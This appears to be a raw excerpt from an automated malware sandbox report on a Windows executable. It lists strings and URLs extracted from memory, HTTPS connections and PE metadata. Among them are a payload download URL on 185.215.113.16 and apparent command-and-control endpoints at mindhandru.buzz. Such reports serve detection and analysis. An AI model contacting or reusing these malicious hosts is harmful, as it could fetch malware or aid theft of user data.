Source: 7jKx8dPOEs.exe, 00000000.00000003.2536598717.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/iN
Source: 7jKx8dPOEs.exe, 00000000.00000003.2536598717.0000000000F70000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2661787377.0000000000F71000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2544474352.0000000005732000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000002.2668593976.0000000000F71000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2536847369.0000000005732000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000002.2672710688.0000000005731000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 7jKx8dPOEs.exe, 00000000.00000002.2668097900.0000000000CFA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeWebKit/537.36
Source: 7jKx8dPOEs.exe, 00000000.00000003.2536769573.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2148373670.00000000056AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 7jKx8dPOEs.exe, 00000000.00000003.2148373670.00000000056AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 7jKx8dPOEs.exe, 00000000.00000003.2198784822.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2176354470.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2204287013.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2454356071.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: 7jKx8dPOEs.exe, 00000000.00000003.2148373670.00000000056AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 7jKx8dPOEs.exe, 00000000.00000003.2148373670.00000000056AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 7jKx8dPOEs.exe, 00000000.00000003.2148373670.00000000056AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 7jKx8dPOEs.exe, 00000000.00000003.2148373670.00000000056AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 7jKx8dPOEs.exe, 00000000.00000003.2148373670.00000000056AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 7jKx8dPOEs.exe, 00000000.00000003.2148373670.00000000056AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 7jKx8dPOEs.exe, 00000000.00000003.2148373670.00000000056AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_124.6.dr	String found in binary or memory: http://schema.org/Organization
Source: 7jKx8dPOEs.exe, 00000000.00000003.2148373670.00000000056AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 7jKx8dPOEs.exe, 00000000.00000003.2148373670.00000000056AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 7jKx8dPOEs.exe, 00000000.00000003.2097541450.00000000056AF000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097688358.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097604912.00000000056AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_124.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_124.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_124.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_124.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: 7jKx8dPOEs.exe, 00000000.00000003.2172962325.0000000005680000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173378530.0000000005682000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173342989.0000000005680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: 7jKx8dPOEs.exe, 00000000.00000003.2172962325.0000000005680000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173378530.0000000005682000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173342989.0000000005680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 7jKx8dPOEs.exe, 00000000.00000003.2097541450.00000000056AF000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097688358.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097604912.00000000056AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 7jKx8dPOEs.exe, 00000000.00000003.2097541450.00000000056AF000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097688358.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097604912.00000000056AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 7jKx8dPOEs.exe, 00000000.00000003.2097541450.00000000056AF000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097688358.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097604912.00000000056AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: 7jKx8dPOEs.exe, 00000000.00000003.2172962325.0000000005680000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173378530.0000000005682000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173342989.0000000005680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 7jKx8dPOEs.exe, 00000000.00000003.2172962325.0000000005680000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173378530.0000000005682000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173342989.0000000005680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: 7jKx8dPOEs.exe, 00000000.00000003.2097541450.00000000056AF000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097688358.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097604912.00000000056AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 7jKx8dPOEs.exe, 00000000.00000003.2097541450.00000000056AF000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097688358.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097604912.00000000056AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 7jKx8dPOEs.exe, 00000000.00000003.2097541450.00000000056AF000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097688358.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097604912.00000000056AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_124.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_124.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_124.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_124.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_124.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_124.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_124.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_124.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_124.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_124.6.dr	String found in binary or memory: https://github.com/nschonni
Source: 7jKx8dPOEs.exe, 00000000.00000003.2173342989.0000000005680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_124.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: 7jKx8dPOEs.exe, 00000000.00000003.2536769573.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2172962325.0000000005680000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2198784822.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2176354470.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173256408.0000000005685000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2204287013.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2197753110.000000000568B000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2454397670.0000000000F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: 7jKx8dPOEs.exe, 00000000.00000003.2147898119.000000000568A000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2172962325.0000000005680000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2147608811.0000000005685000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173256408.0000000005685000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2197753110.000000000568B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/$
Source: 7jKx8dPOEs.exe, 00000000.00000003.2197753110.000000000568B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/8
Source: 7jKx8dPOEs.exe, 00000000.00000003.2175810084.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2536769573.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2219275583.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2148067110.0000000005672000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2454437785.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2454397670.0000000000F20000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2148653799.0000000005672000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2536863751.0000000000F20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: 7jKx8dPOEs.exe, 00000000.00000003.2175810084.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2536769573.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2219275583.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2454437785.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api#
Source: 7jKx8dPOEs.exe, 00000000.00000003.2454397670.0000000000F20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apib
Source: 7jKx8dPOEs.exe, 00000000.00000003.2173808494.0000000005673000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2174288777.0000000005673000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2176496752.0000000005672000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173397755.0000000005672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apih
Source: 7jKx8dPOEs.exe, 00000000.00000003.2536863751.0000000000F20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apiv
Source: 7jKx8dPOEs.exe, 00000000.00000003.2219275583.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2454437785.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/pi
Source: 7jKx8dPOEs.exe, 00000000.00000003.2219275583.0000000000F84000.00000004.00000020.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2454437785.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/to
Source: 7jKx8dPOEs.exe, 00000000.00000003.2198784822.0000000000F09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/apiUniSat
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_100.6.dr	String found in binary or memory: https://schema.org
Source: 7jKx8dPOEs.exe, 00000000.00000003.2149464885.0000000005791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 7jKx8dPOEs.exe, 00000000.00000003.2149464885.0000000005791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_100.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: 7jKx8dPOEs.exe, 00000000.00000003.2172962325.0000000005680000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173378530.0000000005682000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173342989.0000000005680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: 7jKx8dPOEs.exe, 00000000.00000003.2172962325.0000000005680000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173378530.0000000005682000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2173342989.0000000005680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: 7jKx8dPOEs.exe, 00000000.00000003.2097541450.00000000056AF000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097688358.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097604912.00000000056AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 7jKx8dPOEs.exe, 00000000.00000003.2097541450.00000000056AF000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097688358.00000000056AC000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097604912.00000000056AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_121.6.dr, chromecache_100.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: 7jKx8dPOEs.exe, 00000000.00000003.2149464885.0000000005791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: 7jKx8dPOEs.exe, 00000000.00000003.2149464885.0000000005791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: 7jKx8dPOEs.exe, 00000000.00000003.2149464885.0000000005791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 7jKx8dPOEs.exe, 00000000.00000003.2149464885.0000000005791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 7jKx8dPOEs.exe, 00000000.00000003.2149464885.0000000005791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: 7jKx8dPOEs.exe, 00000000.00000003.2149464885.0000000005791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.185:443 -> 192.168.2.5:49766 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: 7jKx8dPOEs.exe	Static PE information: section name:
Source: 7jKx8dPOEs.exe	Static PE information: section name: .rsrc
Source: 7jKx8dPOEs.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F0BAA8	0_3_00F0BAA8
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F0BAA8	0_3_00F0BAA8
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F0BAA8	0_3_00F0BAA8
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F0BA91	0_3_00F0BA91
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F0BA91	0_3_00F0BA91
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F0BA91	0_3_00F0BA91
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F0BAA8	0_3_00F0BAA8
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F0BAA8	0_3_00F0BAA8
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F0BAA8	0_3_00F0BAA8
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F0BA91	0_3_00F0BA91
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F0BA91	0_3_00F0BA91
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F0BA91	0_3_00F0BA91
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F0BAA8	0_3_00F0BAA8
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F0BAA8	0_3_00F0BAA8
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F0BAA8	0_3_00F0BAA8
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F0BA91	0_3_00F0BA91
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F0BA91	0_3_00F0BA91
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F0BA91	0_3_00F0BA91
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Code function: 0_3_00F71001	0_3_00F71001

Source: 7jKx8dPOEs.exe, 00000000.00000003.2509960615.0000000005B24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2507710385.0000000005B19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2513342219.0000000005B19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2507444402.0000000005B17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2519461778.0000000005C6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2519122768.0000000005DA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2504454002.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2513179024.0000000005D42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2518436393.0000000005B1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2503975572.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2503802765.0000000005BBD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2504746890.0000000005C66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2508387902.0000000005C05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
